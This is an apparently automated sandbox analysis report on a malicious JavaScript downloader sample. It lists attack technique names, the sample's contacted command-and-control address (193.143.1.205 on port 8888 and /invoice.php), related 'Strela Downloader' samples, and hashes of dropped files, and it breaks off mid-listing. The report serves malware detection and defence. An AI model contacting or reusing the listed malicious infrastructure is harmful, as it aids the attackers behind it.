Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
296419801857622488.js	5%	Virustotal		Browse
296419801857622488.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/6:	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s64	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2786420012.000001B4F2E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1548050090.000001B4F2C10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/s64	net.exe, 00000007.00000002.1547290425.00000176C6BE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1547290425.00000176C6C18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1547290425.00000176C6BE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1547290425.00000176C6C43000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/6:	net.exe, 00000007.00000002.1547290425.00000176C6BE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588081
Start date and time:	2025-01-10 21:06:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	296419801857622488.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 52.22.41.97, 52.6.155.20, 3.219.243.226, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 95.101.148.135, 2.16.168.107, 2.16.168.105, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, e4578.dscb.akamaiedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:08:08	API Interceptor	24x Sleep call for process: powershell.exe modified
15:08:12	API Interceptor	1x Sleep call for process: net.exe modified
15:08:12	API Interceptor	2x Sleep call for process: svchost.exe modified
15:08:25	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021833558212002
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAD:RJE+Lfki1GjHwU/+vVhWqpC
MD5:	33606ED5CB30894D799AA52A8AF3E4B6
SHA1:	AB17570BBF8B3B5E02198F8A929B0C6223A0044E
SHA-256:	5E9E62380D02CD90E81D667F02815A8E77CAE1CBD271470B31D0117E2700EB0B
SHA-512:	89D6050ECCFB02DB16E6F58527A8C792A0E9D4DDA99D25AC6EB60A1CC9639F5E124B5AFFA2B0474A16091D8C70A66A640865E28BAC092B14A34BF11DC2877EC8
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0f44b4c0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433132050471229
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:DazaHvxXy2V2UR
MD5:	AA4F4D851F766E5042026CDD0ADAA739
SHA1:	C2DFFF32878667BE96F88EF374913396E93708E5
SHA-256:	3C2896D8EFA2720602F4EEE18CDB78AFE63F6157B6FA61D2055F2CC2844ADABA
SHA-512:	BD63B94C1826A1969B95A6AE28A24C65AAF013635345C216DCF0C57AC7FF2E9BCF2D55D940BABD68A2B7EDADF9E807CC1F1439446741011CCD3D6FD91E458AEE
Malicious:	false
Preview:	.D..... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................>.C......}9..................C.......}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08123878446103026
Encrypted:	false
SSDEEP:	3:c3YeeDJE6l/nqlFcl1ZUllllMtpREtillGBnX/l/Tj/k7/t:oziTl/qlFclQ/laIG254
MD5:	D4A6424D36A351B35E357D059369B045
SHA1:	7C84ED6B13C15433CE1B6FBD68BAC844A7F9FAAF
SHA-256:	21EDE7A9754FE386EEC80470BFE4D3F7461533205BC7B1FA998E68634EEC81CE
SHA-512:	C40E72F4C61B9F33A29ACD497B585C0CE1B79BCB610471EC56EDA7E3383DB45C160430145F6973CC0FE80E6FF5C9E23FA8A259AF198F15E5C65F04B9F22B0A8B
Malicious:	false
Preview:	#..,.....................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..................C.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.180321997436692
Encrypted:	false
SSDEEP:	6:iO4QFsN+q2PCHhJ2nKuAl9OmbnIFUtSQLUdXZmwsQFCNVkwOCHhJ2nKuAl9Ombjd:7lyIvBHAahFUtPLU5/xFq56HAaSJ
MD5:	7B583BDD03724AC21AAAD4F9712CCA7D
SHA1:	931DE8D23C4562304F090B2664A26BDE5C8447A1
SHA-256:	0D3D229DE74CA7E02C623EBD08227C1D748E345559AFB6DD5DAA0C3D04039DFD
SHA-512:	12F10C2AD3DA947FC293BD15CFC1C65BF902EFB52EFC32363815D2709DBE37876A826A5273042E1A22EDA80F0CABD7360825EFE974F12C0EB2C98CC5DDFFE49E
Malicious:	false
Preview:	2025/01/10-15:08:12.717 1738 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:08:12.719 1738 Recovering log #3.2025/01/10-15:08:12.720 1738 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.180321997436692
Encrypted:	false
SSDEEP:	6:iO4QFsN+q2PCHhJ2nKuAl9OmbnIFUtSQLUdXZmwsQFCNVkwOCHhJ2nKuAl9Ombjd:7lyIvBHAahFUtPLU5/xFq56HAaSJ
MD5:	7B583BDD03724AC21AAAD4F9712CCA7D
SHA1:	931DE8D23C4562304F090B2664A26BDE5C8447A1
SHA-256:	0D3D229DE74CA7E02C623EBD08227C1D748E345559AFB6DD5DAA0C3D04039DFD
SHA-512:	12F10C2AD3DA947FC293BD15CFC1C65BF902EFB52EFC32363815D2709DBE37876A826A5273042E1A22EDA80F0CABD7360825EFE974F12C0EB2C98CC5DDFFE49E
Malicious:	false
Preview:	2025/01/10-15:08:12.717 1738 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:08:12.719 1738 Recovering log #3.2025/01/10-15:08:12.720 1738 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.116149888015404
Encrypted:	false
SSDEEP:	6:iO4QCwL+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSQCcM1ZmwsQCcaLVkwOCHhJ2nKuAv:7lCw+vBHAa8uFUtPC11/xC3V56HAa8RJ
MD5:	4B4A942D4158C8B54119A36CE3E6BD40
SHA1:	3DEDB75A502B08BB02B581BCC6E83EB3966233DC
SHA-256:	589F74CEED1C98FE981F9DD66B188CD1DFBA2E0D4AFF40CE6C29CF19A06552B4
SHA-512:	689D4D2091C2CED81BF81618E7FF208BF3A81DDCA81834C12712493657D4610BFF74E8D0BD54EAFDB4A0DC317D5CE2D477031BDF37F90053380B9E6CF2061399
Malicious:	false
Preview:	2025/01/10-15:08:12.818 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:08:12.820 1c9c Recovering log #3.2025/01/10-15:08:12.820 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.116149888015404
Encrypted:	false
SSDEEP:	6:iO4QCwL+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSQCcM1ZmwsQCcaLVkwOCHhJ2nKuAv:7lCw+vBHAa8uFUtPC11/xC3V56HAa8RJ
MD5:	4B4A942D4158C8B54119A36CE3E6BD40
SHA1:	3DEDB75A502B08BB02B581BCC6E83EB3966233DC
SHA-256:	589F74CEED1C98FE981F9DD66B188CD1DFBA2E0D4AFF40CE6C29CF19A06552B4
SHA-512:	689D4D2091C2CED81BF81618E7FF208BF3A81DDCA81834C12712493657D4610BFF74E8D0BD54EAFDB4A0DC317D5CE2D477031BDF37F90053380B9E6CF2061399
Malicious:	false
Preview:	2025/01/10-15:08:12.818 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:08:12.820 1c9c Recovering log #3.2025/01/10-15:08:12.820 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9720157075394615
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqisBdOg2HZ0ocaq3QYiub6P7E4T3y:Y2sRdsSdMHg3QYhbS7nby
MD5:	37F21F674B013DBA4177F29D7BD0D5AD
SHA1:	FD2E8FAD6F7607D0743AE53576E1C497E3815229
SHA-256:	1C1956A59E64FEF79A0255CBDE922F9DADE42AFFD08F031B57D8A18CA4487BA1
SHA-512:	87E42C493B06810A0E12A74C8C68FB2D2E05254F56111DC6DE4300F657EB69BF3C7441BAAFF8B2CB896FEC8D44859F92114829CF410B715449590ED5BFAA45EC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099698932520","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":414754},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a999fb91-bc60-4ab4-9a27-cd743dc0a99c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9720157075394615
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqisBdOg2HZ0ocaq3QYiub6P7E4T3y:Y2sRdsSdMHg3QYhbS7nby
MD5:	37F21F674B013DBA4177F29D7BD0D5AD
SHA1:	FD2E8FAD6F7607D0743AE53576E1C497E3815229
SHA-256:	1C1956A59E64FEF79A0255CBDE922F9DADE42AFFD08F031B57D8A18CA4487BA1
SHA-512:	87E42C493B06810A0E12A74C8C68FB2D2E05254F56111DC6DE4300F657EB69BF3C7441BAAFF8B2CB896FEC8D44859F92114829CF410B715449590ED5BFAA45EC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099698932520","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":414754},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.238332376599519
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bhsjy7trHb0:S43C4mS7fFi0KFYDjr3LWO3V3aw+byWq
MD5:	91F441BBE6116CBC8205CD36B399E36A
SHA1:	B8CD0E9A7C01EAB83E937D636CFD14F2AC0E3B26
SHA-256:	4D85D9A2E056385484BB0782CD663E183A6998423BF9E408A486B9ED4DF623DD
SHA-512:	94923392E4FCA5360D84A18876761B78936E16A57BAB4D7406B855D0F3DAE70CD733F75BE5FD9F4F818CC3365A3EE59D514D537B6D3A9207D196334C0BFB420D
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.148040963340554
Encrypted:	false
SSDEEP:	6:iO4Q8L+q2PCHhJ2nKuAl9OmbzNMxIFUtSQJ1ZmwsQ+jLVkwOCHhJ2nKuAl9OmbzE:7ls+vBHAa8jFUtPJ1/xqV56HAa84J
MD5:	E11F34696F244A24FE9E97957F01E1BF
SHA1:	02B6E68F85F6A361F82955FD427D36247390E478
SHA-256:	FF4A011BADA43F6C71B6A2B676081750A3E28FCD9CFBD60B03D9E72F93B6320C
SHA-512:	1CC11105965A2054F912C6CCB260EF6ED58DA2484F0195BBF4234708056C5A47C403B9A04BB02579A113EEB53532AA5BAE0E8A6EA79BD1270AA7EFB495D7F19F
Malicious:	false
Preview:	2025/01/10-15:08:13.014 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:08:13.015 1c9c Recovering log #3.2025/01/10-15:08:13.016 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.148040963340554
Encrypted:	false
SSDEEP:	6:iO4Q8L+q2PCHhJ2nKuAl9OmbzNMxIFUtSQJ1ZmwsQ+jLVkwOCHhJ2nKuAl9OmbzE:7ls+vBHAa8jFUtPJ1/xqV56HAa84J
MD5:	E11F34696F244A24FE9E97957F01E1BF
SHA1:	02B6E68F85F6A361F82955FD427D36247390E478
SHA-256:	FF4A011BADA43F6C71B6A2B676081750A3E28FCD9CFBD60B03D9E72F93B6320C
SHA-512:	1CC11105965A2054F912C6CCB260EF6ED58DA2484F0195BBF4234708056C5A47C403B9A04BB02579A113EEB53532AA5BAE0E8A6EA79BD1270AA7EFB495D7F19F
Malicious:	false
Preview:	2025/01/10-15:08:13.014 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:08:13.015 1c9c Recovering log #3.2025/01/10-15:08:13.016 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklpzSL/tfllXlE/HT8k4tNNX8RolJuRdxLlGB9lQRYwpDdt:kKFDeT8nNMa8RdWBwRd
MD5:	C1F02EEF4B40AE6FC6B6992E989BF175
SHA1:	C08F3852A8BE345461574274A903FBB8E952E61C
SHA-256:	3CF988F9B57922C1C626DC2807F434F5E9924030D293EB03725A23B00FDA3FA0
SHA-512:	36EB0D61526908DE20B15F47F6DCBFCC12D6BE1CE7C2B50999172703777D4B2D1A3F85C609DD5E2C10F40342CBF5B8710EC8F6C1E8A1646F598118ED2A90CABA
Malicious:	false
Preview:	p...... ..........7h.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5572

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
